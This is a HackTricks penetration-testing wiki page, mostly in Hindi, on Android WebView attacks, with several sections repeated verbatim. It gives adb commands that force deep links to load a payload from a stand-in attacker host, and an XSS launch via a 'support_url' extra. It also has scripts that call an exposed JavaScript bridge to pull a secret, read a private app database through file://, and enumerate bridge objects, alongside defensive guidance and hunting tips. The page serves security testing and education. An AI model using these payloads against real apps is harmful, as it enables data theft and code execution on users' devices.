Webview Attacks
Reading time: 16 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Android विकास का एक महत्वपूर्ण पहलू WebViews का सही प्रबंधन करना है। यह गाइड WebView उपयोग से संबंधित जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करता है।
File Access in WebViews
डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता setAllowFileAccess()
विधि द्वारा नियंत्रित होती है, जो Android API स्तर 3 (Cupcake 1.5) से उपलब्ध है। android.permission.READ_EXTERNAL_STORAGE अनुमति वाले एप्लिकेशन फ़ाइल URL स्कीम (file://path/to/file
) का उपयोग करके बाहरी संग्रहण से फ़ाइलें पढ़ सकते हैं।
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: यह अप्रचलित विशेषता फ़ाइल URLs से क्रॉस-ओरिजिन अनुरोधों की अनुमति देती थी, जो संभावित XSS हमलों के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा करती थी। डिफ़ॉल्ट सेटिंग Android Jelly Bean और नए संस्करणों के लिए अक्षम (
false
) है। - इस सेटिंग की जांच करने के लिए,
getAllowUniversalAccessFromFileURLs()
का उपयोग करें। - इस सेटिंग को संशोधित करने के लिए,
setAllowUniversalAccessFromFileURLs(boolean)
का उपयोग करें। - File Access From File URLs: यह विशेषता, जो भी अप्रचलित है, अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुँच को नियंत्रित करती थी। सार्वभौमिक पहुँच की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा बढ़ाने के लिए अक्षम है।
- जांचने के लिए
getAllowFileAccessFromFileURLs()
का उपयोग करें और सेट करने के लिएsetAllowFileAccessFromFileURLs(boolean)
का उपयोग करें।
Secure File Loading
फाइल सिस्टम एक्सेस को अक्षम करते हुए संपत्तियों और संसाधनों तक पहुँचने के लिए, setAllowFileAccess()
विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग false
है।
getAllowFileAccess()
के साथ जांचें।setAllowFileAccess(boolean)
के साथ सक्षम या अक्षम करें।
WebViewAssetLoader
WebViewAssetLoader क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।
loadUrl
यह एक सामान्य फ़ंक्शन है जिसका उपयोग वेबव्यू में मनमाने URLs को लोड करने के लिए किया जाता है:
webview.loadUrl("<url here>")
Ofc, एक संभावित हमलावर को कभी भी URL को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है।
JavaScript और Intent Scheme प्रबंधन
- JavaScript: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे
setJavaScriptEnabled()
के माध्यम से सक्षम किया जा सकता है। सावधानी बरती जानी चाहिए क्योंकि उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करने से सुरक्षा कमजोरियाँ उत्पन्न हो सकती हैं। - Intent Scheme: WebViews
intent
स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण की संभावना पैदा कर सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था।
adb का उपयोग करके शोषण का उदाहरण:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android द्वारा एक विशेषता प्रदान की गई है जो JavaScript को एक WebView में स्थानीय Android ऐप कार्यों को कॉल करने की अनुमति देती है। यह addJavascriptInterface
विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफेस के माध्यम से उजागर होती है तो यह एक सुरक्षा जोखिम पैदा कर सकती है।
- Android संस्करण 4.2 से नीचे के ऐप्स के लिए अत्यधिक सावधानी की आवश्यकता है क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो कि परावर्तन का लाभ उठाती है।
Implementing a JavaScript Bridge
- JavaScript इंटरफेस स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge को WebView में एक इंटरफेस जोड़कर सक्षम किया जाता है:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए, XSS हमले के माध्यम से, उजागर किए गए Java विधियों को कॉल करने की अनुमति देता है:
<script>
alert(javascriptBridge.getSecret())
</script>
- जोखिमों को कम करने के लिए, JavaScript ब्रिज के उपयोग को APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript को लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।
रिफ्लेक्शन-आधारित रिमोट कोड निष्पादन (RCE)
- एक प्रलेखित विधि RCE को रिफ्लेक्शन के माध्यम से एक विशिष्ट पेलोड निष्पादित करके प्राप्त करने की अनुमति देती है। हालाँकि,
@JavascriptInterface
एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।
रिमोट डिबगिंग
- रिमोट डिबगिंग Chrome Developer Tools के साथ संभव है, जो WebView सामग्री के भीतर इंटरैक्शन और मनमाने JavaScript निष्पादन की अनुमति देता है।
रिमोट डिबगिंग सक्षम करना
- एक एप्लिकेशन के भीतर सभी WebViews के लिए रिमोट डिबगिंग को सक्षम किया जा सकता है:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- एप्लिकेशन की डिबग करने योग्य स्थिति के आधार पर शर्तीय रूप से डिबगिंग सक्षम करने के लिए:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
मनमाने फ़ाइलों को निकालना
- XMLHttpRequest का उपयोग करके मनमाने फ़ाइलों के निष्कासन का प्रदर्शन करता है:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Android विकास का एक महत्वपूर्ण पहलू WebViews का सही प्रबंधन करना है। यह गाइड WebView उपयोग से संबंधित जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करता है।
File Access in WebViews
डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता setAllowFileAccess()
विधि द्वारा नियंत्रित होती है, जो Android API स्तर 3 (Cupcake 1.5) से उपलब्ध है। android.permission.READ_EXTERNAL_STORAGE अनुमति वाले अनुप्रयोग बाहरी संग्रहण से फ़ाइलों को फ़ाइल URL स्कीम (file://path/to/file
) का उपयोग करके पढ़ सकते हैं।
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: यह अप्रचलित विशेषता फ़ाइल URLs से क्रॉस-ओरिजिन अनुरोधों की अनुमति देती थी, जो संभावित XSS हमलों के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा करती थी। डिफ़ॉल्ट सेटिंग Android Jelly Bean और नए संस्करणों के लिए अक्षम (
false
) है। - इस सेटिंग की जांच करने के लिए,
getAllowUniversalAccessFromFileURLs()
का उपयोग करें। - इस सेटिंग को संशोधित करने के लिए,
setAllowUniversalAccessFromFileURLs(boolean)
का उपयोग करें। - File Access From File URLs: यह विशेषता, जो भी अप्रचलित है, अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुँच को नियंत्रित करती थी। सार्वभौमिक पहुँच की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा बढ़ाने के लिए अक्षम है।
- जांचने के लिए
getAllowFileAccessFromFileURLs()
का उपयोग करें और सेट करने के लिएsetAllowFileAccessFromFileURLs(boolean)
का उपयोग करें।
Secure File Loading
फाइल सिस्टम एक्सेस को अक्षम करने के लिए जबकि संपत्तियों और संसाधनों तक पहुँच बनाए रखना, setAllowFileAccess()
विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग false
है।
getAllowFileAccess()
के साथ जांचें।setAllowFileAccess(boolean)
के साथ सक्षम या अक्षम करें।
WebViewAssetLoader
WebViewAssetLoader क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।
loadUrl
यह एक सामान्य फ़ंक्शन है जिसका उपयोग वेबव्यू में मनमाने URLs को लोड करने के लिए किया जाता है:
webview.loadUrl("<url here>")
Ofc, एक संभावित हमलावर को कभी भी URL को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है।
आंतरिक WebView में डीप-लिंकिंग (कस्टम स्कीम → WebView सिंक)
कई ऐप्स कस्टम स्कीम/पथ पंजीकृत करते हैं जो उपयोगकर्ता द्वारा प्रदान किए गए URL को एक इन-ऐप WebView में रूट करते हैं। यदि डीप लिंक निर्यात किया गया है (VIEW + BROWSABLE), तो एक हमलावर ऐप को इसके WebView संदर्भ के भीतर मनमाने दूरस्थ सामग्री को प्रदर्शित करने के लिए मजबूर कर सकता है।
टिपिकल मैनिफेस्ट पैटर्न (सरल किया गया):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
सामान्य कोड प्रवाह (सरलीकृत):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
हमला पैटर्न और PoC adb के माध्यम से:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: दूरस्थ पृष्ठ ऐप WebView संदर्भ में चलता है (ऐप WebView प्रोफ़ाइल के कुकीज़/सत्र, किसी भी उजागर @JavascriptInterface तक पहुंच, सेटिंग्स के आधार पर content:// और file:// तक संभावित पहुंच)।
Hunting tips:
getQueryParameter("url")
,loadUrl(
,WebView
sinks, और deep-link हैंडलर्स (onCreate/onNewIntent
) के लिए decompiled स्रोतों में Grep करें।- VIEW+BROWSABLE फ़िल्टर और कस्टम स्कीम/होस्ट के लिए मैनिफेस्ट की समीक्षा करें जो गतिविधियों से मैप होते हैं जो बाद में WebView शुरू करते हैं।
- जांचें कि क्या कई deep-link पथ हैं (जैसे, "बाहरी ब्राउज़र" पथ बनाम "आंतरिक वेबव्यू" पथ) और उस पथ को प्राथमिकता दें जो ऐप के अंदर रेंडर होता है।
सत्यापन से पहले JavaScript सक्षम करना (order-of-checks bug)
एक सामान्य हार्डनिंग गलती यह है कि अंतिम allowlist/सत्यापन के पूरा होने से पहले JavaScript को सक्षम करना या WebView सेटिंग्स को ढीला करना। यदि सत्यापन सहायक उपकरणों के बीच असंगत है या बहुत देर से होता है, तो एक हमलावर का deep link एक ऐसी स्थिति में पहुंच सकता है जहां:
- WebView सेटिंग्स लागू होती हैं (जैसे,
setJavaScriptEnabled(true)
), और - अविश्वसनीय URL को JavaScript सक्षम के साथ लोड किया जाता है।
Bug pattern (pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
क्यों यह शोषणीय है
- असंगत सामान्यीकरण: हेल्पर्स URL को अंतिम जांच से अलग तरीके से विभाजित/पुनर्निर्माण करते हैं, जिससे एक दुर्भावनापूर्ण URL का शोषण किया जा सकता है।
- गलत क्रम में पाइपलाइन: चरण 2 में JS को सक्षम करना WebView उदाहरण पर वैश्विक रूप से लागू होता है, अंतिम लोड को प्रभावित करता है भले ही सत्यापन बाद में विफल हो जाए।
कैसे परीक्षण करें
- गहरे लिंक पेलोड तैयार करें जो प्रारंभिक जांचों को पास करते हैं और WebView कॉन्फ़िगरेशन साइट तक पहुँचते हैं।
- adb का उपयोग करें ताकि आप द्वारा नियंत्रित
url=
पैरामीटर के साथ निहित VIEW इरादे भेज सकें:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
यदि शोषण सफल होता है, तो आपका पेलोड ऐप के WebView में JavaScript निष्पादित करता है। वहां से, उजागर ब्रिज के लिए जांच करें:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Defensive guidance
- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
- Only call
setJavaScriptEnabled(true)
after all allowlist checks pass and just before loading trusted content. - Avoid exposing
@JavascriptInterface
to untrusted origins; prefer per-origin gating. - Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.
JavaScript और Intent Scheme Handling
- JavaScript: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे
setJavaScriptEnabled()
के माध्यम से सक्षम किया जा सकता है। उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करना सुरक्षा कमजोरियों को जन्म दे सकता है। - Intent Scheme: WebViews
intent
स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण का कारण बन सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था।
Exploitation example using adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android द्वारा एक विशेषता प्रदान की गई है जो JavaScript को एक WebView में स्थानीय Android ऐप कार्यों को कॉल करने की अनुमति देती है। यह addJavascriptInterface
विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript Interface ऑब्जेक्ट तक पहुंचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफेस के माध्यम से उजागर होती है तो यह एक सुरक्षा जोखिम पैदा कर सकती है।
- Android संस्करण 4.2 से नीचे के ऐप्स के लिए अत्यधिक सावधानी की आवश्यकता है क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो कि परावर्तन का लाभ उठाती है।
Implementing a JavaScript Bridge
- JavaScript interfaces स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहां एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge को WebView में एक इंटरफेस जोड़कर सक्षम किया जाता है:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए, XSS हमले के माध्यम से, उजागर किए गए Java विधियों को कॉल करने की अनुमति देता है:
<script>
alert(javascriptBridge.getSecret())
</script>
- जोखिमों को कम करने के लिए, JavaScript ब्रिज के उपयोग को APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।
रिफ्लेक्शन-आधारित रिमोट कोड निष्पादन (RCE)
- एक प्रलेखित विधि RCE प्राप्त करने की अनुमति देती है जो रिफ्लेक्शन के माध्यम से एक विशिष्ट पेलोड को निष्पादित करती है। हालाँकि,
@JavascriptInterface
एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।
रिमोट डिबगिंग
- रिमोट डिबगिंग Chrome Developer Tools के साथ संभव है, जो WebView सामग्री के भीतर इंटरैक्शन और मनमाने JavaScript निष्पादन की अनुमति देता है।
रिमोट डिबगिंग सक्षम करना
- एक एप्लिकेशन के भीतर सभी WebViews के लिए रिमोट डिबगिंग को सक्षम किया जा सकता है:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- एप्लिकेशन की डिबग करने योग्य स्थिति के आधार पर शर्तीय रूप से डिबगिंग सक्षम करने के लिए:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
मनमाने फ़ाइलों को निकालना
- XMLHttpRequest का उपयोग करके मनमाने फ़ाइलों के निष्कासन का प्रदर्शन करता है:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
संदर्भ
- Android WebViews फ़ाइल एक्सेस हमले के वेक्टर की समीक्षा
- WheresMyBrowser.Android (डेमो ऐप)
- Android WebView संदर्भ
- डीप लिंक और WebViews शोषण – भाग II
- डीप लिंक और WebViews शोषण – भाग I
- Samsung S24 शोषण श्रृंखला Pwn2Own 2024 वॉकथ्रू
- Pwn2Own आयरलैंड 2024 – Samsung S24 हमले की श्रृंखला (श्वेत पत्र)
- प्रदर्शन वीडियो
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।